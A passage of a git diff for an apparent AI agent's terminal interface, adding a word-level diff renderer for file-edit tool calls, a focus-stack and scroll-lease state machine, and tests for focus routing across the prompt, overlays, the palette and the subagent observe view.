rows: DiffRow[] = [] + let i = 0 + let j = 0 + while (i < n && j < m) { + if (a[i] === b[j]) { + rows.push({ kind: "context", text: a[i]! }) + i++ + j++ + } else if (lcs[i + 1]![j]! >= lcs[i]![j + 1]!) { + rows.push({ kind: "del", text: a[i]! }) + i++ + } else { + rows.push({ kind: "add", text: b[j]! }) + j++ + } + } + while (i < n) rows.push({ kind: "del", text: a[i++]! }) + while (j < m) rows.push({ kind: "add", text: b[j++]! }) + return rows +} + +export function diffStat( + oldText: string, + newText: string, +): { added: number; removed: number } { + let added = 0 + let removed = 0 + for (const row of diffLines(oldText, newText)) { + if (row.kind === "add") added++ + else if (row.kind === "del") removed++ + } + return { added, removed } +} + +const GUTTER: Record = { + add: "+ ", + del: "- ", + context: " ", +} + +function rowColor(kind: DiffRowKind): string { + if (kind === "add") return DIFF_FG.add + if (kind === "del") return DIFF_FG.del + return DIFF_FG.context +} + +// Attach each row's position in the old/new file before any collapsing, so a +// hidden stretch still leaves the surviving rows numbered correctly. +function numberRows(rows: readonly DiffRow[]): NumberedRow[] { + let oldLine = 1 + let newLine = 1 + return rows.map((row) => { + if (row.kind === "context") { + return { ...row, oldNum: oldLine++, newNum: newLine++ } + } + if (row.kind === "del") return { ...row, oldNum: oldLine++ } + return { ...row, newNum: newLine++ } + }) +} + +// Collapse long unchanged stretches to a few lines of context on each side of a +// change so a large file write or a wide edit does not bury the actual delta. +function collapseContext( + rows: readonly NumberedRow[], + pad: number, +): NumberedRow[] { + const keep = new Array(rows.length).fill(false) + rows.forEach((row, idx) => { + if (row.kind === "context") return + const from = Math.max(0, idx - pad) + const to = Math.min(rows.length - 1, idx + pad) + for (let k = from; k <= to; k++) keep[k] = true + }) + + const out: NumberedRow[] = [] + let hidden = 0 + const flush = (): void => { + if (hidden > 0) { + out.push({ + kind: "context", + text: `… ${hidden} unchanged line${hidden === 1 ? "" : "s"}`, + collapsed: true, + }) + hidden = 0 + } + } + rows.forEach((row, idx) => { + if (keep[idx]) { + flush() + out.push(row) + } else { + hidden++ + } + }) + flush() + return out +} + +function tokenizeWords(line: string): string[] { + return line.match(/\S+|\s+/g) ?? (line.length === 0 ? [] : [line]) +} + +/** + * Token LCS over words/whitespace runs so a rename or argument swap only paints + * the changed tokens, not the whole line. Emits segments for `line` only (the + * side being rendered); tokens unique to `paired` are skipped on this pass. + */ +export function wordDiffSegments( + line: string, + kind: "add" | "del", + paired: string, +): DiffSegment[] { + const self = tokenizeWords(line) + const other = tokenizeWords(paired) + const changed = (text: string): DiffSegment => ({ + text, + fg: rowColor(kind), + bold: true, + }) + if (self.length === 0) return [changed(line)] + + const lcs = lcsTable(self, other) + const out: DiffSegment[] = [] + let i = 0 + let j = 0 + const n = self.length + const m = other.length + while (i < n && j < m) { + if (self[i] === other[j]) { + out.push({ text: self[i]!, fg: DIFF_FG.context }) + i++ + j++ + } else if (lcs[i + 1]![j]! >= lcs[i]![j + 1]!) { + out.push(changed(self[i]!)) + i++ + } else { + j++ + } + } + while (i < n) out.push(changed(self[i++]!)) + return out.length > 0 ? out : [changed(line)] +} + +function sliceSegments( + segments: readonly DiffSegment[], + start: number, + end: number, +): DiffSegment[] { + const out: DiffSegment[] = [] + let pos = 0 + for (const seg of segments) { + const segStart = pos + const segEnd = pos + seg.text.length + pos = segEnd + const from = Math.max(start, segStart) + const to = Math.min(end, segEnd) + if (to > from) { + out.push({ ...seg, text: seg.text.slice(from - segStart, to - segStart) }) + } + } + return out +} + +export type DiffRenderOptions = { + /** + * Lines of unchanged context to keep around each change. Undefined keeps the + * diff uncollapsed (the right call for small localized edit hunks). + */ + readonly contextLines?: number + /** + * Hide the old/new line-number gutter. edit_file hunks diff old_string + * against new_string, so their row indices are snippet-relative and would + * read as (wrong) file line numbers if shown. + */ + readonly lineNumbers?: false +} + +function padNum(n: number | undefined, width: number): string { + return n === undefined ? " ".repeat(width) : String(n).padStart(width, " ") +} + +export function renderDiff( + oldText: string, + newText: string, + width: number, + opts: DiffRenderOptions = {}, +): DiffLine[] { + let rows = numberRows(diffLines(oldText, newText)) + if (opts.contextLines !== undefined) { + rows = collapseContext(rows, opts.contextLines) + } + + const showNumbers = opts.lineNumbers !== false + + // Right-align both columns to the widest line number that actually appears, + // so a 3-digit file does not waste columns a 1000-line file would need. + const maxOldNum = rows.reduce((max, row) => Math.max(max, row.oldNum ?? 0), 0) + const maxNewNum = rows.reduce((max, row) => Math.max(max, row.newNum ?? 0), 0) + const numWidth = Math.max( + 1, + String(maxOldNum).length, + String(maxNewNum).length, + ) + const numColWidth = showNumbers ? numWidth * 2 + 2 : 0 // " " + + const lines: DiffLine[] = [] + const bodyWidth = Math.max(1, width - numColWidth - 2) + for (let r = 0; r < rows.length; r++) { + const row = rows[r]! + const numCol = + row.collapsed === true + ? " ".repeat(numColWidth) + : `${padNum(row.oldNum, numWidth)} ${padNum(row.newNum, numWidth)} ` + const sign = GUTTER[row.kind] + const paired = + row.kind === "del" && rows[r + 1]?.kind === "add" + ? rows[r + 1]!.text + : row.kind === "add" && rows[r - 1]?.kind === "del" + ? rows[r - 1]!.text + : undefined + const segFg = rowColor(row.kind) + const bodySegs: DiffSegment[] = + (row.kind === "add" || row.kind === "del") && + paired !== undefined && + paired !== row.text + ? wordDiffSegments(row.text, row.kind, paired) + : [{ text: row.text, fg: segFg }] + + const ranges = + row.text.length === 0 + ? [{ start: 0, end: 0 }] + : wrapRanges(row.text, bodyWidth) + for (let idx = 0; idx < ranges.length; idx++) { + const range = ranges[idx]! + const piece = sliceSegments(bodySegs, range.start, range.end) + lines.push([ + ...(showNumbers + ? [ + { + text: idx === 0 ? numCol : " ".repeat(numColWidth), + fg: DIFF_FG.context, + }, + ] + : []), + { text: idx === 0 ? sign : " ", fg: segFg }, + ...(piece.length > 0 ? piece : [{ text: "", fg: segFg }]), + ]) + } + } + return lines +} + +type EditArgs = { + path?: unknown + old_string?: unknown + new_string?: unknown + content?: unknown +} + +export type EditDiffSource = { + readonly oldText: string + readonly newText: string + readonly path?: string +} + +/** Tools whose arguments carry the before/after text of a file edit. */ +export function isEditToolName(toolName: string): boolean { + return toolName === "edit_file" || toolName === "write_file" +} + +/** + * Pulls the before/after text out of an edit_file or write_file call's JSON + * arguments. write_file carries only the new content, so its "before" is empty + * and the whole file reads as an addition. Returns null for any other tool or + * unparseable arguments. + */ +export function editDiffFromArgs( + toolName: string, + rawArgs: string, +): EditDiffSource | null { + if (!isEditToolName(toolName)) return null + let parsed: EditArgs + try { + parsed = JSON.parse(rawArgs) as EditArgs + } catch { + return null + } + const path = typeof parsed.path === "string" ? parsed.path : undefined + if (toolName === "write_file") { + if (typeof parsed.content !== "string") return null + return { + oldText: "", + newText: parsed.content, + ...(path !== undefined ? { path } : {}), + } + } + if ( + typeof parsed.old_string !== "string" || + typeof parsed.new_string !== "string" + ) { + return null + } + return { + oldText: parsed.old_string, + newText: parsed.new_string, + ...(path !== undefined ? { path } : {}), + } +} + +/** Body width assumed for a transcript diff; wide enough for typical code. */ +export const DIFF_BODY_WIDTH = 100 + +/** + * Cap on painted diff lines. Edit hunks are small, but a whole-file write + * diffs against an empty side and would otherwise flood the transcript. + */ +const MAX_DIFF_LINES = 60 + +/** + * Build the diff view for a tool call's arguments, or null when the tool is not + * an edit tool or its arguments do not carry both sides. + */ +export function editDiffView( + toolName: string, + rawArgs: string, + width: number = DIFF_BODY_WIDTH, +): DiffView | null { + const source = editDiffFromArgs(toolName, rawArgs) + if (source === null) return null + const { added, removed } = diffStat(source.oldText, source.newText) + if (added === 0 && removed === 0) return null + // Snippet-relative row indices would read as (wrong) file line numbers. + const all = renderDiff(source.oldText, source.newText, width, { + lineNumbers: false, + }) + const lines = + all.length > MAX_DIFF_LINES + ? [ + ...all.slice(0, MAX_DIFF_LINES), + [ + { + text: `… ${all.length - MAX_DIFF_LINES} more diff lines`, + fg: DIFF_FG.context, + }, + ], + ] + : all + return { + lines, + added, + removed, + ...(source.path !== undefined ? { path: source.path } : {}), + } +} + +/** Uncoloured diff body, for the clipboard. */ +export function diffPlainText(view: DiffView): string { + return view.lines + .map((line) => line.map((segment) => segment.text).join("")) + .join("\n") +} + +export type ToolCallRowInput = { + readonly name: string + /** Raw JSON arguments as streamed by the model; may be absent or partial. */ + readonly arguments?: string +} + +/** + * Build the transcript row for a tool call: a diff view when the call is a + * file edit, otherwise a human summary of the arguments with the structured + * form behind the expand key. Raw argument JSON stays on the row as `text` — + * it is what the clipboard and any un-summarisable call still need — but it + * is not what the transcript paints. + * + * `verb` + `summary` read as a sentence ("Read path", "Shell command"): the + * verb comes from `describeToolCall`'s existing tool-name-to-display mapping + * rather than re-deriving one, and the subject is its argument summary (the + * command itself for a shell call, the path for a file tool). + */ +export function toolCallRow(input: ToolCallRowInput): StreamRow { + const args = input.arguments ?? "" + const diff = args.length > 0 ? editDiffView(input.name, args) : null + const text = args.length > 0 ? args : "…" + const meta = + diff !== null + ? [input.name, diff.path, `+${diff.added}/-${diff.removed}`] + .filter((part) => part !== undefined && part.length > 0) + .join(" ") + : input.name + const call = args.length > 0 ? describeToolCall(input.name, args) : null + const summarised = diff === null && args.length > 0 ? toolArgsView(input.name, args) : null + // `summarised` (view/JSON-aware) wins when it has an opinion — it is what the + // existing collapse mechanism already renders for a view spec or a wide + // argument object. `call.summary` only fills the gap it leaves: a short + // literal call (e.g. a one-line shell command) that toolArgsView leaves + // alone because it already reads fine, but which still needs a subject to + // pair with its verb. + const summary = diff !== null + ? (diff.path ?? summarised?.summary ?? call?.summary) + : (summarised?.summary ?? call?.summary) + const stat = diff !== null ? `+${diff.added}/-${diff.removed}` : undefined + const detail = summarised?.detail + const verb = call?.display + // Identity of the sentence this call paints, not of its arguments: two calls + // that read the same line are what a repeat looks like to the operator. + const callKey = `${input.name} ${verb ?? ""} ${summary ?? ""}` + return { + role: "tool", + text, + meta, + pending: true, + callKey, + ...(diff !== null ? { diff } : {}), + ...(verb !== undefined ? { verb } : {}), + // A summarised call may deliberately have no subject — its verb already + // names the whole call — and that blank must survive, or the row falls + // back to painting the raw arguments. + ...(summary !== undefined && (summary.length > 0 || summarised !== null) + ? { summary } + : {}), + ...(stat !== undefined ? { stat } : {}), + ...(detail !== undefined && detail.length > 0 ? { detail } : {}), + } +} diff --git a/src/tui-opentui/focus-routing.test.ts b/src/tui-opentui/focus-routing.test.ts new file mode 100644 index 000000000..f7404fd1b --- /dev/null +++ b/src/tui-opentui/focus-routing.test.ts @@ -0,0 +1,260 @@ +/** + * Focus routing: typing always reaches the surface that is obviously active, + * with no click. Driven through the harness — keys in, rendered frame out. + */ +import { describe, expect, test } from "bun:test" +import { focusOwner } from "./focus/index" +import { createHarness, withTestRenderer, type Harness } from "./harness" +import { openPermissionsOverlay } from "./overlays" +import { providerChoiceRows, runProviderSetup } from "./provider-setup" +import { + appendStreamRow, + closeInsetOverlay, + createAppShell, + enterSubagentObserve, + leaveSubagentObserve, + openInsetOverlay, + openPalette, + toggleShellFocus, + type AppShell, +} from "./shell" + +async function typeInto(h: Harness, text: string): Promise { + for (const ch of text) h.mockInput.pressKey(ch) + await h.renderOnce() +} + +/** Every focusable in the tree that OpenTUI currently reports as focused. */ +function focusedIds(shell: AppShell): readonly string[] { + const found: string[] = [] + const walk = (node: { id: string; focused?: boolean; getChildren: () => readonly unknown[] }): void => { + if (node.focused === true) found.push(node.id) + for (const kid of node.getChildren()) { + walk(kid as Parameters[0]) + } + } + walk(shell.renderer.root as unknown as Parameters[0]) + return found +} + +describe("focus routing", () => { + test("landing accepts typing immediately after mount", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "focus" }) + try { + expect(focusOwner(shell.focus)).toBe("prompt") + await typeInto(h, "hi") + expect(shell.prompt.value).toBe("hi") + expect(h.captureCharFrame()).toContain("hi") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("exactly one focus owner across overlay open and close", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "focus" }) + try { + expect(focusedIds(shell)).toEqual(["shell-prompt"]) + openInsetOverlay(shell, ["allow", "deny"]) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("overlay") + expect(focusedIds(shell)).toEqual([]) + closeInsetOverlay(shell) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(focusedIds(shell)).toEqual(["shell-prompt"]) + await typeInto(h, "ok") + expect(shell.prompt.value).toBe("ok") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("palette closes back to a typable prompt", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "focus" }) + try { + openPalette(shell, { typeToFilter: true }) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("palette") + closeInsetOverlay(shell) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("prompt") + await typeInto(h, "z") + expect(shell.prompt.value).toBe("z") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("observe keeps typing out of the parent prompt and gives it back on exit", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "focus" }) + try { + enterSubagentObserve(shell, { + sessionId: "s1", + agentId: "child", + description: "worker", + lines: [{ role: "system", text: "child row" }], + }) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("observe") + expect(focusedIds(shell)).toEqual([]) + await typeInto(h, "xyz") + expect(shell.prompt.value).toBe("") + leaveSubagentObserve(shell) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(focusedIds(shell)).toEqual(["shell-prompt"]) + await typeInto(h, "back") + expect(shell.prompt.value).toBe("back") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("transcript browse never leaves the prompt focused as well", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "focus" }) + try { + toggleShellFocus(shell) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("transcript") + expect(focusedIds(shell)).toEqual(["shell-transcript"]) + toggleShellFocus(shell) + await h.renderOnce() + expect(focusedIds(shell)).toEqual(["shell-prompt"]) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("transcript output arriving mid-compose leaves the prompt focused", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "focus" }) + try { + await typeInto(h, "half") + appendStreamRow(shell, { role: "assistant", text: "streamed" }) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("prompt") + await typeInto(h, "-done") + expect(shell.prompt.value).toBe("half-done") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("a permission gate is the modal exception and hands the draft back", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "focus" }) + try { + await typeInto(h, "draft") + openPermissionsOverlay(shell, { + items: ["allow", "deny"], + itemIds: ["allow", "deny"], + body: "run ls", + }) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("overlay") + expect(focusedIds(shell)).toEqual([]) + // The draft survives the interruption untouched. + await typeInto(h, "!!") + expect(shell.prompt.value).toBe("draft") + closeInsetOverlay(shell) + await h.renderOnce() + expect(focusedIds(shell)).toEqual(["shell-prompt"]) + await typeInto(h, "!") + expect(shell.prompt.value).toBe("draft!") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("onboarding focus", () => { + test("the first field takes typing with no click", async () => { + const h = await createHarness({ width: 80, height: 30 }) + const seen: string[] = [] + const done = runProviderSetup({ + onSubmit: async (values) => { + seen.push(values.name) + }, + showTelemetryNotice: false, + createRenderer: async () => h.renderer, + }) + try { + await h.renderOnce() + const ids = providerChoiceRows().map((r) => r.id) + for (let i = 0; i < ids.indexOf("custom"); i++) h.pressKey("ARROW_DOWN") + h.pressKey("Enter") + await h.renderOnce() + // No focus call in between: the name field is live the moment it appears. + for (const ch of "firepass") h.pressKey(ch) + await h.renderOnce() + expect(h.captureCharFrame()).toContain("firepass") + h.pressKey("Ctrl+C") + await done + } finally { + h.destroy() + } + expect(seen).toEqual([]) + }) +}) + +describe("esc from transcript browse", () => { + test("Esc while transcript-focused returns focus to the prompt", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { title: "esc" }) + try { + toggleShellFocus(shell) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("transcript") + + // ESC needs a disambiguation delay on the mock stdin path. + h.pressKey("Escape") + await new Promise((r) => setTimeout(r, 60)) + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(focusedIds(shell)).toEqual([shell.prompt.id]) + + for (const ch of "back") h.pressKey(ch) + await h.renderOnce() + expect(shell.prompt.value).toBe("back") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/focus/focus-state.test.ts b/src/tui-opentui/focus/focus-state.test.ts new file mode 100644 index 000000000..c4e9118c8 --- /dev/null +++ b/src/tui-opentui/focus/focus-state.test.ts @@ -0,0 +1,265 @@ +import { describe, expect, test } from "bun:test"; +import { + canPopFocus, + createFocusState, + focusOwner, + focusPrompt, + focusTranscript, + openObserve, + openOverlay, + popFocus, + scrollLease, +} from "./index.js"; + +describe("createFocusState", () => { + test("shell default: prompt focus, transcript scroll lease", () => { + const s = createFocusState(); + expect(focusOwner(s)).toBe("prompt"); + expect(scrollLease(s)).toBe("transcript"); + expect(s.frames).toHaveLength(1); + expect(s.frames[0]!.id).toBe("shell"); + }); +}); + +describe("one focus owner + one scroll lease", () => { + test("exactly one focus owner and one lease at every step", () => { + let s = createFocusState(); + const steps = [ + () => openObserve(s, "child-1"), + () => openOverlay(s, "perm-1"), + () => openOverlay(s, "palette-1", { target: "palette" }), + () => popFocus(s), + () => popFocus(s), + () => popFocus(s), + ]; + for (const step of steps) { + s = step(); + expect(typeof focusOwner(s)).toBe("string"); + expect(focusOwner(s).length).toBeGreaterThan(0); + expect(scrollLease(s)).not.toBeNull(); + // Single top frame owns both; stack never empty. + expect(s.frames.length).toBeGreaterThanOrEqual(1); + expect(scrollLease(s)).toBe(s.frames[s.frames.length - 1]!.scrollOwner); + } + }); + + test("wheel owner always equals scrollLease(state)", () => { + let s = createFocusState(); + expect(scrollLease(s)).toBe("transcript"); + + s = openOverlay(s, "settings"); + expect(scrollLease(s)).toBe("overlay"); + + s = popFocus(s); + s = openObserve(s, "obs"); + expect(scrollLease(s)).toBe("observe"); + + s = openOverlay(s, "help", { target: "overlay", scrollOwner: "overlay" }); + expect(scrollLease(s)).toBe("overlay"); + }); +}); + +describe("priority: overlay > observe > shell", () => { + test("overlay wins over shell", () => { + let s = createFocusState(); + s = openOverlay(s, "perm"); + expect(focusOwner(s)).toBe("overlay"); + expect(scrollLease(s)).toBe("overlay"); + }); + + test("observe wins over shell", () => { + let s = createFocusState(); + s = openObserve(s, "child-a"); + expect(focusOwner(s)).toBe("observe"); + expect(scrollLease(s)).toBe("observe"); + }); + + test("overlay wins over observe", () => { + let s = createFocusState(); + s = openObserve(s, "child-a"); + s = openOverlay(s, "perm"); + expect(focusOwner(s)).toBe("overlay"); + expect(scrollLease(s)).toBe("overlay"); + // Observe remains under the overlay. + expect(s.frames.map((f) => f.target)).toEqual([ + "prompt", + "observe", + "overlay", + ]); + }); + + test("openObserve while overlay open keeps overlay on top", () => { + let s = createFocusState(); + s = openOverlay(s, "perm"); + s = openObserve(s, "child-b"); + expect(focusOwner(s)).toBe("overlay"); + expect(scrollLease(s)).toBe("overlay"); + expect(s.frames.map((f) => f.id)).toEqual(["shell", "child-b", "perm"]); + }); +}); + +describe("Esc / popFocus stack", () => { + test("Esc from overlay restores shell prompt + transcript lease", () => { + let s = createFocusState(); + s = openOverlay(s, "perm"); + s = popFocus(s); + expect(focusOwner(s)).toBe("prompt"); + expect(scrollLease(s)).toBe("transcript"); + expect(s.frames).toHaveLength(1); + }); + + test("Esc from overlay restores observe when observe was under it", () => { + let s = createFocusState(); + s = openObserve(s, "child-1"); + s = openOverlay(s, "perm"); + expect(focusOwner(s)).toBe("overlay"); + + s = popFocus(s); + expect(focusOwner(s)).toBe("observe"); + expect(scrollLease(s)).toBe("observe"); + expect(s.frames.map((f) => f.id)).toEqual(["shell", "child-1"]); + }); + + test("Esc from observe returns shell prompt + transcript lease", () => { + let s = createFocusState(); + s = openObserve(s, "child-1"); + s = popFocus(s); + expect(focusOwner(s)).toBe("prompt"); + expect(scrollLease(s)).toBe("transcript"); + expect(s.frames).toHaveLength(1); + }); + + test("Esc at shell prompt is a no-op (state identity for machine)", () => { + const s = createFocusState(); + const next = popFocus(s); + expect(next).toBe(s); + expect(canPopFocus(s)).toBe(false); + }); + + test("Esc from shell transcript browse restores prompt", () => { + let s = createFocusState(); + s = focusTranscript(s); + expect(focusOwner(s)).toBe("transcript"); + expect(canPopFocus(s)).toBe(true); + + s = popFocus(s); + expect(focusOwner(s)).toBe("prompt"); + expect(scrollLease(s)).toBe("transcript"); + }); +}); + +describe("palette stacks over overlay (single Esc path)", () => { + // Opening palette while overlay open: stack, not replace — one Esc closes + // palette, the next closes the prior overlay (contract §5.2 rule 6). + test("palette stacks; double Esc returns to shell", () => { + let s = createFocusState(); + s = openOverlay(s, "settings"); + s = openOverlay(s, "palette", { target: "palette", scrollOwner: "palette" }); + + expect(focusOwner(s)).toBe("palette"); + expect(scrollLease(s)).toBe("palette"); + expect(s.frames).toHaveLength(3); + + s = popFocus(s); + expect(focusOwner(s)).toBe("overlay"); + expect(scrollLease(s)).toBe("overlay"); + expect(s.frames.map((f) => f.id)).toEqual(["shell", "settings"]); + + s = popFocus(s); + expect(focusOwner(s)).toBe("prompt"); + expect(scrollLease(s)).toBe("transcript"); + }); + + test("palette above observe restores observe on first Esc", () => { + let s = createFocusState(); + s = openObserve(s, "child"); + s = openOverlay(s, "palette", { target: "palette" }); + s = popFocus(s); + expect(focusOwner(s)).toBe("observe"); + expect(scrollLease(s)).toBe("observe"); + }); +}); + +describe("lease handoff", () => { + test("modal open moves lease off transcript", () => { + let s = createFocusState(); + expect(scrollLease(s)).toBe("transcript"); + s = openOverlay(s, "perm"); + expect(scrollLease(s)).not.toBe("transcript"); + expect(scrollLease(s)).toBe("overlay"); + }); + + test("Esc restores transcript lease after modal", () => { + let s = createFocusState(); + s = openOverlay(s, "perm"); + s = popFocus(s); + expect(scrollLease(s)).toBe("transcript"); + }); + + test("observe Esc restores parent transcript lease", () => { + let s = createFocusState(); + s = openObserve(s, "child"); + expect(scrollLease(s)).toBe("observe"); + s = popFocus(s); + expect(scrollLease(s)).toBe("transcript"); + }); + + test("custom scrollOwner on overlay list surface", () => { + let s = createFocusState(); + s = openOverlay(s, "model-picker", { + target: "overlay", + scrollOwner: "model-list", + }); + expect(focusOwner(s)).toBe("overlay"); + expect(scrollLease(s)).toBe("model-list"); + }); +}); + +describe("focusPrompt / focusTranscript (shell only)", () => { + test("focusTranscript then focusPrompt at shell", () => { + let s = createFocusState(); + s = focusTranscript(s); + expect(focusOwner(s)).toBe("transcript"); + expect(scrollLease(s)).toBe("transcript"); + + s = focusPrompt(s); + expect(focusOwner(s)).toBe("prompt"); + expect(scrollLease(s)).toBe("transcript"); + }); + + test("focusPrompt / focusTranscript no-op under overlay", () => { + let s = createFocusState(); + s = openOverlay(s, "perm"); + const frozen = s; + expect(focusPrompt(s)).toBe(frozen); + expect(focusTranscript(s)).toBe(frozen); + }); + + test("focusPrompt / focusTranscript no-op under observe", () => { + let s = createFocusState(); + s = openObserve(s, "child"); + const frozen = s; + expect(focusPrompt(s)).toBe(frozen); + expect(focusTranscript(s)).toBe(frozen); + }); +}); + +describe("openObserve replaces prior observe", () => { + test("second openObserve replaces the observe frame id", () => { + let s = createFocusState(); + s = openObserve(s, "child-a"); + s = openObserve(s, "child-b"); + expect(s.frames.filter((f) => f.target === "observe")).toHaveLength(1); + expect(s.frames.map((f) => f.id)).toEqual(["shell", "child-b"]); + }); +}); + +describe("immutability", () => { + test("updates return new state objects", () => { + const a = createFocusState(); + const b = openOverlay(a, "x"); + expect(b).not.toBe(a); + expect(b.frames).not.toBe(a.frames); + expect(a.frames).toHaveLength(1); + }); +}); diff --git a/src/tui-opentui/focus/focus-state.ts b/src/tui-opentui/focus/focus-state.ts new file mode 100644 index 000000000..8e54b729c --- /dev/null +++ b/src/tui-opentui/focus/focus-state.ts @@ -0,0 +1,153 @@ +/** + * Focus tree + scroll lease state machine (interaction contract §5 / §6). + * + * Functional immutable updates. No classes, no paint. + * + * Priority (high → low): overlay (incl. palette) > entered observe > shell. + * Esc pops exactly one level and restores the recorded prior frame's focus + * and scroll lease. + * + * Opening palette while an overlay is already open: **stack** (not replace). + * Single Esc path — one pop closes palette, next pop closes the prior overlay. + */ + +import type { + FocusFrame, + FocusState, + FocusTarget, + OpenOverlayOpts, + ScrollLease, +} from "./types.js"; + +const SHELL_ID = "shell"; + +const shellFrame = ( + target: FocusTarget = "prompt", + scrollOwner: FocusTarget = "transcript", +): FocusFrame => ({ + id: SHELL_ID, + target, + scrollOwner, +}); + +/** Initial shell: prompt owns typing; transcript holds the scroll lease. */ +export function createFocusState(): FocusState { + return { frames: [shellFrame()] }; +} + +function top(state: FocusState): FocusFrame { + const frame = state.frames[state.frames.length - 1]; + if (frame === undefined) { + // Invariant: stack is never empty after createFocusState. + return shellFrame(); + } + return frame; +} + +function isShellOnly(state: FocusState): boolean { + return state.frames.length === 1 && top(state).id === SHELL_ID; +} + +/** Current focus owner (receives non-reserved keys). */ +export function focusOwner(state: FocusState): FocusTarget { + return top(state).target; +} + +/** Current scroll lease owner (wheel + page/line scroll). */ +export function scrollLease(state: FocusState): FocusTarget | null { + return top(state).scrollOwner; +} + +/** Scroll lease as a struct for callers that prefer an object. */ +export function scrollLeaseOf(state: FocusState): ScrollLease { + return { owner: scrollLease(state) }; +} + +/** + * Push an overlay (permission, settings, help, …) or palette. + * Lease moves to the overlay list/body. Stacks above whatever is current — + * including an existing overlay or observe view. + */ +export function openOverlay( + state: FocusState, + id: string, + opts?: OpenOverlayOpts, +): FocusState { + const target = opts?.target ?? "overlay"; + const scrollOwner = opts?.scrollOwner ?? target; + const frame: FocusFrame = { id, target, scrollOwner }; + return { frames: [...state.frames, frame] }; +} + +/** + * Enter subagent observe. Child transcript takes the scroll lease. + * Parent prompt does not receive typing while observe is top. + * If overlays sit above shell, observe is inserted above shell and below + * any overlays so overlay priority is preserved. + */ +export function openObserve(state: FocusState, id: string): FocusState { + const observeFrame: FocusFrame = { + id, + target: "observe", + scrollOwner: "observe", + }; + + // Replace an existing observe frame (one entered-subagent view). + const withoutObserve = state.frames.filter((f) => f.target !== "observe"); + + // Insert above shell (index 0), below any overlays already stacked. + const shell = withoutObserve[0] ?? shellFrame(); + const above = withoutObserve.slice(1); + return { frames: [shell, observeFrame, ...above] }; +} + +/** + * Esc semantics: pop exactly one level. + * - Overlay / palette → restore recorded prior (may be observe or shell). + * - Observe → shell with prompt focused and transcript lease. + * - Shell with transcript "browse" → prompt + transcript lease. + * - Shell at prompt → unchanged (no silent dead key for dismissible UI; + * clear-prompt policy lives outside this machine). + */ +export function popFocus(state: FocusState): FocusState { + if (state.frames.length > 1) { + const next = state.frames.slice(0, -1); + // Left observe (or last stacked surface): shell is sole frame → prompt + transcript. + if (next.length === 1 && next[0]!.id === SHELL_ID) { + return { frames: [shellFrame("prompt", "transcript")] }; + } + // Popped overlay/palette above observe (or another overlay): restore as recorded. + return { frames: next }; + } + + // Shell only: Esc from transcript browse restores prompt. + const base = top(state); + if (base.target === "transcript") { + return { frames: [shellFrame("prompt", "transcript")] }; + } + return state; +} + +/** + * Shell-only: prompt owns typing; default scroll lease is transcript. + * No-op when an overlay or observe frame is on the stack. + */ +export function focusPrompt(state: FocusState): FocusState { + if (!isShellOnly(state)) return state; + return { frames: [shellFrame("prompt", "transcript")] }; +} + +/** + * Shell-only: operator browsing the main transcript (scroll lease on transcript). + * No-op when an overlay or observe frame is on the stack. + */ +export function focusTranscript(state: FocusState): FocusState { + if (!isShellOnly(state)) return state; + return { frames: [shellFrame("transcript", "transcript")] }; +} + +/** True when the stack has a dismissible frame (overlay, palette, or observe). */ +export function canPopFocus(state: FocusState): boolean { + if (state.frames.length > 1) return true; + return top(state).target === "transcript"; +} diff --git a/src/tui-opentui/focus/index.ts b/src/tui-opentui/focus/index.ts new file mode 100644 index 000000000..0899ce225 --- /dev/null +++ b/src/tui-opentui/focus/index.ts @@ -0,0 +1,20 @@ +export type { + FocusFrame, + FocusState, + FocusTarget, + OpenOverlayOpts, + ScrollLease, +} from "./types.js"; + +export { + canPopFocus, + createFocusState, + focusOwner, + focusPrompt, + focusTranscript, + openObserve, + openOverlay, + popFocus, + scrollLease, + scrollLeaseOf, +} from "./focus-state.js"; diff --git a/src/tui-opentui/focus/types.ts b/src/tui-opentui/focus/types.ts new file mode 100644 index 000000000..6e640f365 --- /dev/null +++ b/src/tui-opentui/focus/types.ts @@ -0,0 +1,48 @@ +/** + * Focus tree + scroll lease types (interaction contract §5 / §6). + * + * Pure data — no paint, no OpenTUI/Ink. One focus owner and one scroll lease + * at a time; the stack records prior focus so Esc restores it. + */ + +/** Known surfaces plus open string brand for list/kit consumers. */ +export type FocusTarget = + | "prompt" + | "transcript" + | "overlay" + | "observe" + | "palette" + | (string & {}); + +/** One stack frame: who owns keys (`target`) and who owns wheel/page (`scrollOwner`). */ +export type FocusFrame = { + readonly id: string; + readonly target: FocusTarget; + readonly scrollOwner: FocusTarget; +}; + +/** + * Focus stack, bottom → top. + * Index 0 is always the shell base frame. Overlays and observe push above it. + */ +export type FocusState = { + readonly frames: readonly FocusFrame[]; +}; + +/** 